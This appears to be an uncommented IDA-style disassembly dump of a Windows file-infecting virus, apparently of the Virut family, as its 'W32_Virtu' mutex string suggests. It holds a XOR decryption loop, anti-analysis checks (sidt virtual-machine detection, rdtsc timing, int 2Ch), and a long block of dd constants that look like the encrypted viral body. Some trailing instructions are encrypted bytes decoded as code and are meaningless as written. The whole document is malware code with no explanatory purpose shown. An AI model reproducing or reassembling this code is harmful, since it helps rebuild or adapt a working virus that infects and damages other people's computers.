		unicode	0, <aseNamedObjects\W32_Virtu>,0
		dd 0BBh	dup(0)
		dd 6900h, 0Ch dup(0)
		dd 40A26300h, 14FAh dup(0)
; ---------------------------------------------------------------------------
		cld
		call	sub_41202E

; =============== S U B	R O U T	I N E =======================================



sub_412006	proc near		; CODE XREF: sub_41202E+4Fp
		push	ebx
		mov	ecx, 0DA5h
		mov	ebx, edx


loc_41200E:				; CODE XREF: sub_412006+13j
		xor	[eax], dx
		lea	eax, [eax+2]
		xchg	dl, dh
		lea	edx, [ebx+edx]
		loop	loc_41200E
		pop	ebx
		retn
sub_412006	endp

; ---------------------------------------------------------------------------
		db 3Dh,	0DAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41202E


loc_41201F:				; CODE XREF: sub_41202E+3Aj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41202E

; =============== S U B	R O U T	I N E =======================================



sub_412021	proc near		; CODE XREF: sub_41202E+8j
					; sub_41202E+19j
		push	ebp
		mov	eax, 8000h
		xor	ecx, ecx
		jmp	short loc_412055
sub_412021	endp


; =============== S U B	R O U T	I N E =======================================



sub_41202B	proc near		; CODE XREF: sub_41202E+1Cp
					; sub_41202E+22p
		rdtsc
		retn
sub_41202B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41202E	proc near		; CODE XREF: seg002:00412001p

var_2C500694	= dword	ptr -2C500694h
var_6		= byte ptr -6

; FUNCTION CHUNK AT 0041201F SIZE 00000002 BYTES

		test	eax, eax
		jnz	short loc_41203A
		int	2Ch		; Internal routine for MSDOS (IRET)
		test	eax, eax
		jns	short sub_412021
		jmp	short loc_412049
; ---------------------------------------------------------------------------


loc_41203A:				; CODE XREF: sub_41202E+2j
		push	eax
		sidt	fword ptr [esp+4+var_6]
		pop	eax
		mov	eax, [eax+6]
		shl	eax, 10h
		jns	short sub_412021


loc_412049:				; CODE XREF: sub_41202E+Aj
		push	ebp
		call	sub_41202B
		xchg	eax, ecx
		call	sub_41202B


loc_412055:				; CODE XREF: sub_412021+8j
		sub	eax, ecx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 7E06h
		sub	eax, 100h
		jnb	short loc_41201F
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-65h]
		call	sub_412006
		setalc
		ficomp	[esp+eax*2+4+var_2C500694+1]


loc_41208A:				; CODE XREF: sub_41202E+66j
		insd
		clc
		mov	edx, 679EE2B8h
		adc	eax, ecx
		inc	edx
		jnp	short loc_41208A
		pop	ecx
		dec	ebp
		call	far ptr	0A328h:508FC98Ch
		inc	edi
		xor	ebp, esi
		out	dx, eax
		jmp	far ptr	0F0ADh:2114C542h
sub_41202E	endp

; ---------------------------------------------------------------------------
		dw 0B0AEh
		dd 293FAEDFh, 0F22896BAh, 6C2D4C28h, 0FD8B3221h, 6A7304AFh
		dd 644E8B8Ch, 1643AF86h, 67A52985h, 9D05BAE1h, 0A943D478h
		dd 45106C1Ch, 0DA3BF317h, 85365117h, 7C184F62h,	70F03700h
		dd 0C59A5C2Eh, 0C4668C20h, 54EC5F0Fh, 7BD349A1h, 0E0B6B8B8h
		dd 0CF78AEAAh, 0AC4690A2h, 893ABC8Bh, 74DBC3E8h, 85A06FFh
		dd 1F8148ADh, 59F4185Ch, 2CE71700h, 1AAEDE4h, 0AD22F3A1h
		dd 0B9393231h, 88E3CEFFh, 4722E5E3h, 32BDF33Fh,	0A1AEEBE9h
		dd 23BCB9D1h, 0DF054375h, 3577DF53h, 0E82D7173h, 64F59DF2h
		dd 7791CA1h, 92F386ADh,	0BF8A684Ch, 9521E4D7h, 0C8457E39h
		dd 78511327h, 3843F29Bh, 0ACCACF45h, 5966949h, 0A410FDBAh
		dd 0D5C4B7A1h, 7FDD7685h, 12ADB5B8h, 9A1CFD72h,	0D855E2E7h
		dd 4FC8FA95h, 0F17F3E0Ah, 1A279D21h, 0A4FCCBBh,	0B31C586Ch
		dd 4D9C7A41h, 0C1408161h, 7BEA8893h, 0BF644BB8h, 6B08FBE3h
		dd 4610FD0Fh, 0DA36F92Bh, 9B5A569Ch, 60A52A6Eh,	177D5045h
		dd 1D75D2D5h, 19C36E43h, 0EC285EAh, 0A4C63A1h, 17F08394h
		dd 0ED83C50Fh, 551EE1E4h, 0CA354D72h, 1EC61027h, 86D3D97h
		dd 1F91BE45h, 0BB93664Ch, 7DBB90E6h, 9B64778Ah,	5B341843h
		dd 9A854E33h, 275F09FCh, 0F2074F72h, 519F04FFh,	0E11B86EBh
		dd 5F7860D0h, 1E7B3D2Dh, 0D707AA5Ch, 0CEA95C58h, 0A445A34Eh
		dd 792F1EAEh, 0F879B1B8h, 0C204A2CFh, 421CDBE7h, 0DB33F697h
		dd 10DEF117h, 8D631605h, 0C4FE3285h, 5C91545Eh,	4DC03B73h
		dd 0EBF868Ah, 773E58A1h, 0C2ECDAEFh, 0AB04C6A7h, 238E21E7h
		dd 0B232C5D4h, 0F14B0D1Dh, 2383B0D1h, 1A913C75h, 0DF90535Ch
		dd 4DA768D9h, 87E781E0h, 84DFF2ABh, 0A2C0C62Dh,	69F22DCFh
		dd 0EE1F6064h, 0D531F4CFh, 0F14B8193h, 867CC2Eh, 4B363B45h
		dd 36C31E18h, 61BBFC8Ch, 0D13080BAh, 7BE4801Fh,	2F66678Bh
		dd 0AA32E9B6h, 2A8AD156h, 0DA30F13Bh, 0DDE1B694h, 760231Eh
		dd 1F7563C1h, 4B0BDA5Ch, 0B2A5585Fh, 0E1337EFAh, 7BE3BD98h
		dd 0B9D31039h, 55FEC4FFh, 4517DBE7h, 0DA2FF0C5h, 0DDD68F9Ch
		dd 78A0221Eh, 99F3B644h, 0B78D6077h, 7D8FE1CEh,	6444818Ah
		dd 60559AA1h, 19E9ACBAh, 9A2C424Ah, 0C36725E7h,	0F1A37470h
		dd 4CC70927h, 86E0AA3h,	1F75C7BAh, 3770C853h, 0C0286673h
		dd 648A510Fh, 0A2E8D42h, 86D24B9h, 28FFF2E4h, 0F13D435Bh
		dd 0D9D20FFEh, 2BC20716h, 0EF5D202Ch, 1E7436A2h, 1974F3D6h
		dd 83296542h, 0BA4F7CE3h, 0F9D4E35Fh, 0D18DA956h, 0C2A938CDh
		dd 4D0DB2E5h, 0E8397848h, 0EF58BE15h, 2D11F2Ch,	0E28CC80Eh
		dd 0B9212BA5h, 4BA12975h, 0C9DE7B88h, 0D2CBD512h, 0F64A4D84h
		dd 2C062266h, 0D714BD30h, 0D72B8EA8h, 0EE29CA9Fh, 531DAA0h
		dd 1C72352Ah, 62C92651h, 1AAE0922h, 4D3EEF78h, 0FB9691AEh
		dd 0DB8DE871h, 2DFCBFACh, 3513BC37h, 0BC2E8737h, 0BF406F13h
		dd 50321D40h, 71713421h, 0CDE21A58h, 0C40A9D3Fh, 3FB649AAh
		dd 783215C4h, 8EE59A30h, 0A54E33CBh, 412E5F2h, 0D529E4EFh
		dd 49B2EB99h, 1359F1A8h, 9FFD3370h, 31B75E51h, 0DD138191h
		dd 5F8561D7h, 375970CEh, 65E3969Fh, 0A4FABDDCh,	0D77EBBADh
		dd 0A6789B8Ch, 87297578h, 543D7C4Dh, 7C1A5E5Eh,	0CFD64917h
		dd 77B6B9F8h, 8331FE84h, 25CBBEB0h, 0E6C2CFE6h,	366C4336h
		dd 3E10E3CCh, 0EC52B538h, 0BC3D6886h, 6B839171h, 986633Fh
		dd 7C854855h, 24F91B09h, 2FE311F6h, 18A3FBF3h, 8B84C3D4h
		dd 7F6D449Eh, 310FE2F4h, 8470BF33h, 1669575Fh, 307A60B3h
		dd 7A9B33Dh, 0E311B803h, 2F9B6E40h, 0A3B01F82h,	43E5890Ch
		dd 8BC81AB0h, 8A60BAC7h, 9D02583Fh, 44DABFA2h, 0E80D2C5Fh
		dd 5AD6EE16h, 165D1CD1h, 0D2D31353h, 74B70BFFh,	2F72F081h
		dd 8C4ACAC4h, 760ED1ABh, 0CAFF9EB2h, 4724BBDDh,	0E009A560h
		dd 93FD850Dh, 0BBD8BF8h, 266D303Fh, 1C67D69Bh, 6F76DB50h
		dd 72C775B0h, 61294D16h, 0DCB0A3AEh, 0CFA6EC95h, 22F1828Ch
		dd 0CF15C309h, 9264C089h, 0D921E72Ch, 0F9E8BF32h, 0C384777Dh
		dd 0BD64A304h, 94278A2Ch, 9BC9BCBDh, 0AF242235h, 0C9F7BAC5h
		dd 9DC34424h, 5BDAE8C3h, 0E50D2BC6h, 3AFF6CBh, 136D30C6h
		dd 19DE4750h, 10CA0FAEh, 58B31D2Fh, 0AB428C91h,	8A8AF3FDh
		dd 5EA57E48h, 0E178B48Ch, 32C500F2h, 71B0FFF5h,	0FB650D6Dh
		dd 423C616Ah, 255D2B0h,	84185E56h, 0A839B65Dh, 6E91D4CCh
		dd 85E083FFh, 9CF7AA60h, 0B40ED1D8h, 0CC25E8F1h, 0E33D0009h
		dd 5064E71h, 2146E9A2h,	84DDEC4Eh, 0C4EE9EE1h, 0A719B9Eh
		dd 8BAEDD1h, 0E18DC2E4h, 0F195F5A5h, 0C07AB2BDh, 0A840BBACh
		dd 9054567Ch, 95556D6Bh, 731F4445h, 4B84332Ch, 52E92A17h
		dd 16B21B1Eh, 18A8E9E0h, 0EF89E5CCh, 0D9F7FBA5h, 0C66FB4A5h
		dd 0A64CAE8Ah, 915C4D62h, 9F3B716Eh, 7D2E3074h,	43F02629h
		dd 5EF42C33h, 15C1061Fh, 0EBBCF91h, 0D085D7C9h,	0ED98D7DAh
		dd 0C36685B3h, 0C941898Bh, 81587245h, 9F017D69h, 6A0C5546h
		dd 40F6044Bh, 68FE2A03h, 3BDE1A16h, 59B9E0F5h, 0E08EF095h
		dd 0F79FC9CEh, 0C84BD1A1h, 0A0719C84h, 0BB5C6577h, 82305F1Ch
		dd 68015975h, 56F0330Bh, 4FEE3C08h, 52F3061Dh, 2FBDE9C8h
		dd 0D385CFCFh, 9792C0D4h, 0E97AB493h, 93408485h, 0DE586D6Dh
		dd 0B8217D5Ch, 6018545Dh, 4FED012Ch, 57FA1005h,	16B23412h
		dd 784F8EBh, 1A8CD6C1h,	0F299DBF4h, 0AE4FB4BFh,	95518DACh
		dd 0B849737Ah, 863C5C77h, 64195354h, 22C53E3Ah,	6DEF3B18h
		dd 16C21813h, 29ACE0E4h, 3F85CEC5h, 0E192FDBBh,	0DD63B486h
		dd 0AD5189BAh, 0B97A0043h, 81304E6Dh, 64025943h, 55E10047h
		dd 4BE93B08h, 0ADC1A1Ch, 21C9CDF4h, 12B6D7C6h, 0F19ACFD6h
		dd 0C368BF98h, 0B044859Bh, 9A536F68h, 86305F18h, 6D035978h
		dd 64F73029h, 54FE2C34h, 37C01A00h, 0AA5CB8Bh, 3D8CC2C0h
		dd 0F098D6D5h, 0CA619DD0h, 0A14CA48Ch, 0A34F6172h, 90181856h
		dd 6D04665Eh, 59E20832h, 36FE3235h, 23D7053Ch, 1A5E5CCh
		dd 0B90C2ECh, 0D390D4D1h, 0CF7E9ECFh, 0AD57B889h, 0A94F9A9Ch
		dd 9E264717h, 7B1F4A4Dh, 76C57476h, 36EE2E2Eh, 2EDE0623h
		dd 57BBF8EFh, 3BAEC93h,	0F7A4B9CCh, 0C34BB4AEh,	9124828Bh
		dd 0B37D8A9Ah, 8512737Bh, 6A025C5Ah, 6CE73130h,	53CA5C1Dh
		dd 21D93507h, 0DA8DAEFh, 9BBD5CFh, 0E690EBB8h, 0CF60A689h
		dd 0A74E8FB3h, 0BF56AEFFh, 0A4526572h, 780B4040h, 68E42D13h
		dd 5FDE3D13h, 1BAF171Fh, 11B2FBE3h, 179CCCC0h, 9297D8D4h
		dd 0DE62BC98h, 0AE4BA382h, 0AE77FC9Ah, 843B7056h, 7A39585Dh
		dd 73E9352Ch, 45F23D39h, 28C51E27h, 108B88E4h, 1AB9EDE2h
		dd 0FBB5D3CCh, 0E40AA8A3h, 0A753A793h, 8A5D8F9Eh, 94337C65h
		dd 4668585Dh, 7A0D0131h, 66F32D3Dh, 28CE1F01h, 1C81F4F9h
		dd 38AFD0A1h, 0E693D0CAh, 0C96C9FAAh, 0AC4F8A93h, 9743B4FFh
		dd 98196276h, 6E285D4Bh, 6B1D2416h, 36FB3735h, 3DE31B3Dh
		dd 0D85E8EFh, 35DAF8CDh, 0F781FBCCh, 0C57A9BA1h, 0B16C8784h
		dd 0BF5D96ABh, 85001179h, 66035961h, 6B1E2516h,	36FA3835h
		dd 3FFB1A3Dh, 7A7F1E5h,	9B0CAD5h, 0FE91C6CCh, 0C56AAF82h
		dd 8C1E9895h, 0BF40A98Bh, 881E6965h, 65005C5Dh,	701A510Ch
		dd 42F23B2Eh, 4DC4021Ah, 1696F0C4h, 2DBDEFC8h, 0E79BC0D1h
		dd 0CF4BA5AEh, 0BB6F8F8Ah, 0B640A5FFh, 92256142h, 5B014341h
		dd 71124C31h, 77FD013Bh
		dd 1EC01F1Dh, 0AA9F1FEh, 28809AC6h, 0F39AE2F9h,	0DA70BCBDh
		dd 0AD70BCE7h, 0B540938Ch, 852E6574h, 660C452Eh, 6B19582Bh
		dd 42F4335Ch, 39DB041Bh, 5D1FBE8h, 9D6FCCCh, 929BD3DDh
		dd 0CE6AA2BCh, 0A174ADE7h, 0DA469094h, 943E635Eh, 7C074B5Ch
		dd 6C165006h, 58F11B39h, 4DC20617h, 1CAEFC3h, 0FB0F6D3h
		dd 0D198CAFFh, 0CF6DA8A0h, 0A67FA984h, 0AE5080ACh, 9F000C72h
		dd 6613415Ah, 6F374F20h, 36CE3C39h, 28D2073Ah, 10D8EEF8h
		dd 15B1E7EEh, 0D387DCEDh, 0DE6C8CCFh, 0A777AE82h, 0BB55A18Bh
		dd 9D214D73h, 4C21234Bh, 56277B13h, 72A0636Fh, 1FA5243Fh
		dd 8FF18EFh, 30B6E5CEh,	0C0EAD4DDh, 0DA4EA3AAh,	0A753B582h
		dd 9B57B786h, 96225817h, 7A3A577Fh, 73176F3Ch, 4EC83529h
		dd 28F66732h, 10DE2DEDh, 0EBEF4F7h, 0D391E9DDh,	0AFE940CFh
		dd 0AA4612CCh, 322EF1FFh, 0F262459Ah, 0D342144h, 75266814h
		dd 6640C459h, 19F3B2F8h, 36EB3DE0h, 0E6446BF2h,	11E89B94h
		dd 3C00CE0Bh, 0C126F543h, 1A25347Dh, 59C08541h,	345D1038h
		dd 1E1E67BBh, 0A0744031h, 4C92493Bh, 0E7B6BC0Ch, 7AD09330h
		dd 0F1B3C2E7h, 7C75C1CEh, 0C9ED88Fh, 0D844AF97h, 85441715h
		dd 6364D2Eh, 1D13622Bh,	658A275Ah, 0DE5E3422h, 62885705h
		dd 0EC30CBC0h, 90D6827Bh, 0FB893F48h, 0AA945A6Fh, 0DBC8EECCh
		dd 0FE439399h, 0D4581E1Bh, 0CE8D6615h, 1FF4C9D2h, 0C52D6340h
		dd 61B761BFh, 8731C576h, 1E60234Ah, 2BFC8FE0h, 0BE08536Ch
		dd 296905FBh, 68C9FAECh, 46A31ABh, 0FDBBCCh, 604B58h, 0C2609D90h
		dd 509AFC03h, 30D159Dh,	176B2ABFh, 4DFBBED0h, 42ED2AFFh
		dd 16762B71h, 0EC41EC47h, 82041C29h, 2A6AB5ADh,	0BC4E7957h
		dd 78BE81EBh, 0EE12985h, 279DDFCDh, 0A1E2334Ch,	0A07DBDFAh
		dd 71842BC5h, 8928DBD2h, 0BE4007D3h, 2581BC0h, 0F4EE6F3Fh
		dd 30B653E3h, 0D2109F07h, 5E846D04h, 5506DCCBh,	8CC8A596h
		dd 0C5F5784Ah, 0A1D65627h, 0F3EAEAC8h, 0F0F787D7h, 1731A17h
		dd 0DB333114h, 2EEF493Fh, 35636C93h, 0D8A68987h, 1C3AF95Ah
		dd 8BE1A4BAh, 0A1A36B43h, 0F82EE8Fh, 0D216F313h, 0E832BB84h
		dd 8ADD1926h, 176D3135h, 0E5AFBF57h, 0B650D50Bh, 59C61424h
		dd 983C6EDEh, 85272072h, 0F2233190h, 0ED5E1D55h, 8374A89Ch
		dd 7DC2FF64h, 0FF6534B8h, 9D61F4BFh, 1DA84EC6h,	0C74C756Ah
		dd 5C75726Bh, 72218CF2h, 4AE3F426h, 8C002FAFh, 3C0BD1EDh
		dd 1016E0FDh, 6E27B04Fh, 0CE79EFB1h, 988FC73Bh,	0D22E2610h
		dd 807A2BA0h, 5AB29DD5h, 0F0948C97h, 0B8FBD543h, 646A31C5h
		dd 340EE1F0h, 0CF2DCC88h, 0E6848403h, 11D41823h, 146D3232h
		dd 2A802F05h, 0D7645E68h, 59825956h, 0F444701Dh, 87E1A789h
		dd 9E9DEAC4h, 0B60ED533h, 9A77BEF3h, 70C2570Bh,	0FC653407h
		dd 84E0F90Ah, 2A844654h, 43F10F36h, 30B31F2Fh, 2FC98C95h
		dd 77755CFEh, 0BF78AE8h, 0EE7A275Fh, 0C94DBCA2h, 0B33D000Bh
		dd 0DB71ACDEh, 0ED6D303Ah, 19A89EDAh, 801E0766h, 43516309h
		dd 41D07C4h, 0D2B1F1ABh, 0E9624594h, 0ED0EE1F5h, 1C502874h
		dd 2EA8FF5Fh, 7755280Bh, 463F7460h, 0A5DC0324h,	3F9A5AF2h
		dd 9681DE7Ch, 9E909CF9h, 0D4B0F301h, 0CBA7EA91h, 4A9B2E8Ah
		dd 4A25D8DBh, 0E23F08CCh, 0DD21E71Fh, 0D9F8CF3Eh, 74847761h
		dd 1252CB9Bh, 97EF754Bh, 52498C96h, 0C5E1D6A3h,	8F8B374Bh
		dd 0ABEDD1E7h, 0DA257D62h, 303E0037h, 7C87E748h, 0F0E53FF5h
		dd 2984474Ch, 3D9BAEE7h, 6E8CF57Ah, 0EB8F9CE4h,	6EFA396h
		dd 99F7BA5Eh, 0C42EEF56h, 0F7A4AE1Fh, 0A7734956h, 38DE3A68h
		dd 416C76F2h, 4FD58960h, 6FCD0F62h, 7F73E086h, 51908CA0h
		dd 3E65AC66h, 71F7BABEh, 0B00ED164h, 9A75D66Ch,	5A32564Ch
		dd 0F65518B9h, 0A165F6B0h, 0A08B4A76h, 3B9B5EF8h, 0A1C75544h
		dd 66F3B023h, 80E02F23h, 0B7FA17BDh, 922EF1F4h,	0B3408FCDh
		dd 0E2917F71h, 74296D3Bh, 644DCF4Ch, 52F1333Dh,	4A9820E1h
		dd 249D5A4Dh, 978E4AE6h, 0C5D1ACA5h, 96F79DACh,	515C3324h
		dd 0F609817Eh, 8DFD3303h, 1C05484Ah, 0B6D3038h,	4CF3280Ch
		dd 5DFA3133h, 81278A76h, 0E2C9BCA1h, 4DD6D764h,	6E723372h
		dd 0FC0EE1FEh, 0C526E882h, 8A6C5186h, 26C0E749h, 876D001Ch
		dd 119F37D2h, 0F1A80E5Eh, 1DE22421h, 0F336DDDDh, 7DD08FA2h
		dd 6BD3BE3Dh, 9C251C44h, 44E610E9h, 0EB286F8Ch,	31AC1918h
		dd 0D496CA4h, 208447AEh, 0DA1A035Dh, 4E826809h,	558A3100h
		dd 0C96BA392h, 93C78AF2h, 26852AD3h, 0C315D8AFh, 5FB6A5F3h
		dd 0F1652854h, 3852A5A5h, 9A874775h, 36AB6E6Bh,	0C5DA77FAh
		dd 9BC98C99h, 4BCCCA34h, 0CE3E51B8h, 0C378B48Bh, 92798D84h
		dd 0B34F8697h, 0BC387674h, 7A03424Bh, 0CDB0463Ch, 0C0C892D7h
		dd 0AC3226AAh, 6788E189h, 118DF558h, 294334A0h,	130DE0D2h
		dd 0C224E7F0h, 2476FA72h, 97ACE9E8h, 456FA385h,	1F824545h
		dd 7114F73Ah, 0A982D877h, 866CEC26h, 484B2C5Ah,	0C6F58888h
		dd 555EC9A5h, 0F20F7F72h, 0FE4E76FFh, 0E996961Fh, 8D65EDABh
		dd 1F8145E0h, 16F05B36h, 1BAF7272h, 0F13982E0h,	7BED8C00h
		dd 19F8E933h, 3782DE81h, 0C212D5D0h, 0EA027176h, 12D01427h
		dd 796DC2Eh, 1FEA1014h,	83685C36h, 4D9E4140h, 48801D75h
		dd 848C9F91h, 0A2C3850Dh, 679F32CFh, 9A21D4CCh,	0D5AB3B7Ah
		dd 0F1514793h, 33E94D2Eh, 130B1808h, 5B03A60Fh,	0A4AD405Fh
		dd 64C486CBh, 7B13202Ch, 25FDB5B8h, 0DE84D281h,	0C648FCD6h
		dd 8D37FAFEh, 0DD6E87E8h, 5F312A1Eh, 3497D4BAh,	751E586Ch
		dd 0C66F6C4Fh, 0B7C0FEDAh, 0F0FAEF2Ah, 0A67CACF2h, 0A9A59AFCh
		dd 0C3676324h, 0A853AA9Ah, 3AC1463h, 21CBC277h,	6DF66449h
		dd 0C5970E78h, 42B73CF8h, 678C813Dh, 0F9ED1772h, 0DC7B40BBh
		dd 95B243C7h, 491ED1D7h, 0ED80C3C9h, 834D2027h,	3FD003ADh
		dd 247C0F75h, 6A36DE9h,	3C296273h, 573E7B75h, 386D1261h
		dd 1BEF8288h, 9A368E42h, 0A84DB0E7h, 0DB5EA7FCh, 0F14C0F7Fh
		dd 8D9B70AEh, 1F4B2B3Dh, 1D63C0A3h, 0C0566C43h,	64F096F2h
		dd 74286222h, 6D118A3Ch, 99804130h, 0A81CEFD7h,	8C339CFFh
		dd 90DEF147h, 83631602h, 2F4A7AC0h, 3471955Ch, 4DC23B23h
		dd 48821775h, 0FE5F9991h, 92DD80F3h, 0AA6E1344h, 922921B5h
		dd 0EA014000h, 64B50D27h, 8520977h, 2F4AB9CEh, 3219536Ch
		dd 80329557h, 0EFBEB1A1h, 0CE5EA4F2h, 92DC9FF3h, 9E199244h
		dd 5731236Ch, 0DA01C4C8h, 0C10E819Ch, 23CC241Eh, 0E59A9087h
		dd 2BFBD7D1h, 1CF76943h, 35ECD0D9h, 57D5025Eh, 6DBBAE88h
		dd 9A29085Ah, 0B13C1FE7h, 0BF0AD9C5h, 9D2A6A79h, 485A474Bh
		dd 73125236h, 18BC6230h, 61C90417h, 37BC4EA7h, 3E87C5F8h
		dd 0E7A9F1F5h, 0C464B6BDh, 0AC779893h, 0B640808Bh, 0AD336F44h
		dd 7E2D477Dh, 6C135A2Ch, 57E50300h, 0CC00201h, 17DE1DE9h
		dd 1A82C9D2h, 0F784CDCAh, 0D972A6BBh, 0B07E9CBBh, 0B64F869Ah
		dd 9D29597Bh, 54274247h, 71144C16h, 52FE2E38h, 2BCC1423h
		dd 38DF11E3h, 13A5E1E0h, 0E881D9D7h, 0D9BEA6AAh, 0A27FB596h
		dd 0B644849Fh, 0BC197B78h, 7295344h, 4A327817h,	70D90F0Ch
		dd 2FCB282Eh, 0CCA13FBh, 2D8CE7C6h, 0FE83C4DEh,	0EBA2B2B9h
		dd 0A567AA90h, 0BD7A9B93h, 802D7467h, 7E194342h, 6F1C5A33h
		dd 608A3F3Fh, 2EC61610h, 11D733FCh, 79CD92EBh, 0D4B5F9B6h
		dd 0D58DDEDDh
		dd 0D27DAF8Bh, 0BC5F80D2h, 9E2F6866h, 6B32304Ah, 52725A24h
		dd 13C20F10h, 23D71711h, 1BC61BEBh, 3D9DC494h, 0C58688E7h
		dd 86B2F683h, 0CC7AA0C5h, 0DC19988Fh, 0ED42ED46h, 85071D2Ah
		dd 2B51D2ACh, 5D0D8D58h, 499F527Ah, 4C9BEC79h, 9F0C90ADh
		dd 0E4B5D3ABh, 444E35D5h, 0E412E5C9h, 0A007D056h, 0D2C06238h
		dd 202C01D6h, 36818ECDh, 470C4A67h, 2E3B366Ch, 5130F520h
		dd 0F9CCBFB7h, 0BDC89236h, 0E27347CAh, 425F581Bh, 36295A02h
		dd 14F58EDEh, 6A582B04h, 196F333Bh, 913B600h, 0AE9D5041h
		dd 5EB4770Dh, 60620B16h, 0E6B2A582h, 5CF7D6C9h,	8B3C9A75h
		dd 0F75B69F8h, 9B4A0618h, 15712CFh, 5B28623Eh, 63C90C7Bh
		dd 5B09A06Ch, 56B346AFh, 1EDEF95Ah, 0E309F4B3h,	5D074431h
		dd 8A240B4Ah, 0A6E66CF7h, 1EEFE0Dh, 56192Dh, 482E766Eh
		dd 6AAA141Bh, 0BA9B1227h, 6C9E6817h, 8A886499h,	3F6D5C4Fh
		dd 0A1C79638h, 0B90FD5B6h, 44DABEF6h, 0E80D2C2Fh, 0FF5515CDh
		dd 44296C3Ch, 7FC1111Ah, 10DE0239h, 0A4E475C2h,	42E2650Dh
		dd 89E74BAFh, 0E8ABBAC6h, 0EB5A8292h, 45DABEF5h, 0E70D2BE4h
		dd 0AF04D117h, 7F3C3351h, 2C842F53h, 0BCCD1E69h, 6A998415h
		dd 8E310F97h, 5B080DAh,	0AFDB4550h, 2C835CDCh, 0A525D8D3h
		dd 0FC55520Ch, 0AC551823h, 61F8CF6Ah, 0D484777Dh, 72B093FDh
		dd 59B99D7Fh, 239C8C96h, 0B5D3F1E8h, 0D2BBFEEAh, 0F79B2EDBh
		dd 2625D8DFh, 0E53D0001h, 8E256B55h, 75195E50h,	0D5D44711h
		dd 71B087F2h, 0BD37FC7Eh, 60C9BCBEh, 0D46D2E9Dh, 14F78ADAh
		dd 8522265Fh, 58DAB9F2h, 0E40D2C4Bh, 0FB5170B2h, 0A7E03038h
		dd 29B45E10h, 9D26D33Fh, 0BFB24551h, 91367E68h,	216564CDh
		dd 9CF78AE2h, 12AB5289h, 0CC25D8D1h, 0C3599584h, 0AE051810h
		dd 1107315Dh, 28862F1Ch, 0AA64DE65h, 5682599Dh,	18934C16h
		dd 136D2E88h, 0C9F78AE1h, 683D7B2h, 0CB15C854h,	0B26D565Ch
		dd 6CAA4A4Eh, 105D1CD3h, 0FA11B815h, 0F89B6E48h, 659C8BFEh
		dd 2218C92h, 7C1F5C5Bh,	0AAE5C74Dh, 0FE8B16D7h,	9C25D8FAh
		dd 90E5F53h, 7AAEA47h, 1A21B5F2h, 72D2477Ch, 77736A3Ch
		dd 934D8A88h, 5BDCC014h, 0DD98F5A8h, 6BCC528Bh,	34C92E29h
		dd 0C915FDA2h, 0B44B6550h, 72D8D12Eh, 0E5D007Bh, 74D5161Ah
		dd 6DCA0F32h, 7F87E086h, 0FF368CA0h, 81D08F8Ah,	0EDE8527Fh
		dd 0B00239A1h, 8076E8EDh, 8F7C5749h, 0BA113655h, 9892307Fh
		dd 24B46B0Bh, 3B9B5289h, 1FA2678h, 89FF8EAh, 0C185D6CAh
		dd 208EABDh, 0AF3EFA0Dh, 3890657Fh, 0B63D3028h,	0F55518D3h
		dd 0F36D5A64h, 13A85EDCh, 0E80ED360h, 0DCB24568h, 58E44B33h
		dd 28B2F5A5h, 0BD122F43h, 6A8DD1E3h, 29B065E7h,	8D3D301Ch
		dd 0A254724Dh, 0B6F5863h, 0F17BC748h, 0C66143B7h, 620FF689h
		dd 67C9BC98h, 0F688A8D0h, 6AF7BAA8h, 9D22B847h,	0C52900EAh
		dd 8F6A0002h, 0C01E5B56h, 46291E02h, 0B47B470Bh, 38AB721Fh
		dd 4FB51DE6h, 0D3448C8Ch, 7DD0BB15h, 394A37E3h,	440EE1FDh
		dd 3BDA1965h, 0DB3D0CE9h, 0BC1C4F18h, 5D287E66h, 6CC80368h
		dd 760EA15Dh, 0CBB24558h, 504D834Bh, 0EFE0A3A0h, 93F7BFD1h
		dd 5FBB5CD0h, 9A25D8F0h, 0F6F4BD8Dh, 0A4BD1827h, 8B92CFDFh
		dd 2FA88AF8h, 0B2945E5Ch, 4DB27763h, 6559600Bh,	13B4A3A1h
		dd 92F7BBB9h, 86A34430h, 6A4E8D7h, 0DA3CFE6Fh, 9B809C47h
		dd 9D937D2Eh, 1FB36A88h, 43C39DD9h, 5E391C7Eh, 0F1378B8Ah
		dd 7BEF8EC8h, 2F755B53h, 0AA3DF069h, 4F0D92E7h,	0EA1B547Ah
		dd 64AC4617h, 85B0297h,	9B8D85C0h, 36995DD5h, 0C6BC33F8h
		dd 0EBF7758Ah, 4BFE0724h, 6C707EB8h, 0AB0CFFE1h, 0C349E68Dh
		dd 4FC5FF95h, 0F16239D2h, 795D5ADh, 1F8024C1h, 0A315C85Ch
		dd 4D9F52D1h, 379499E0h, 5768355Eh, 5271B788h, 0AB4B4BC0h
		dd 7FAFE5E7h, 0DA09DC3Bh, 80B91CA6h, 6096D3D8h,	1F8043D1h
		dd 0BF717102h, 0B2FA5547h, 54E9B91Fh, 0A96112A1h, 23F38698h
		dd 5C5825CEh, 57AC1B18h, 0DA08DB40h, 0E538137Dh, 5A682B2Eh
		dd 0DEEABD16h, 0BB966970h, 0C0B95437h, 54F4C81Fh, 0CDD4CEA1h
		dd 0B6B63EB2h, 0A2E90DDBh, 0D021A9E5h, 9025F8B5h, 0D50B1914h
		dd 786AA26h, 4E76A184h,	26B11C57h, 0C0FC5D8Ch, 54EF7937h
		dd 7BC675A1h, 0BCD4B4B8h, 8428B3F9h, 0F83FCCC7h, 0F413DCDAh
		dd 896B692Fh, 2150C0Eh,	51340F0Fh, 0C9C3577Ch, 7D808BE6h
		dd 0C806048Ah, 11D99CA1h, 0C1A7E3B8h, 86C65F30h, 4F95E1D7h
		dd 0DA05EDCDh, 0EAAE107Dh, 5968E145h, 1F7C3AADh, 52B6705Ch
		dd 0B2FD6D79h, 54EA611Fh, 771C18A1h, 0FAE459E8h, 0AA06C9C7h
		dd 0E2C55D6Ah, 8963F7CFh, 0DD8D9AE8h, 0C8E1271Eh, 0AAF66A3Bh
		dd 36A279A3h, 589BC9F0h, 0E9C083BAh, 4BF9642Ch,	0F8209AB8h
		dd 0F95399CFh, 0EEA14A18h, 22B0F6CFh, 60647017h, 0BDEED8A5h
		dd 1F4A11BAh, 986359ECh, 0A5C87B06h, 9B4074D0h,	98C1EBC0h
		dd 939A3DB1h, 658F2D24h, 7F9610CCh, 0DA02D900h,	6CDA9E4h
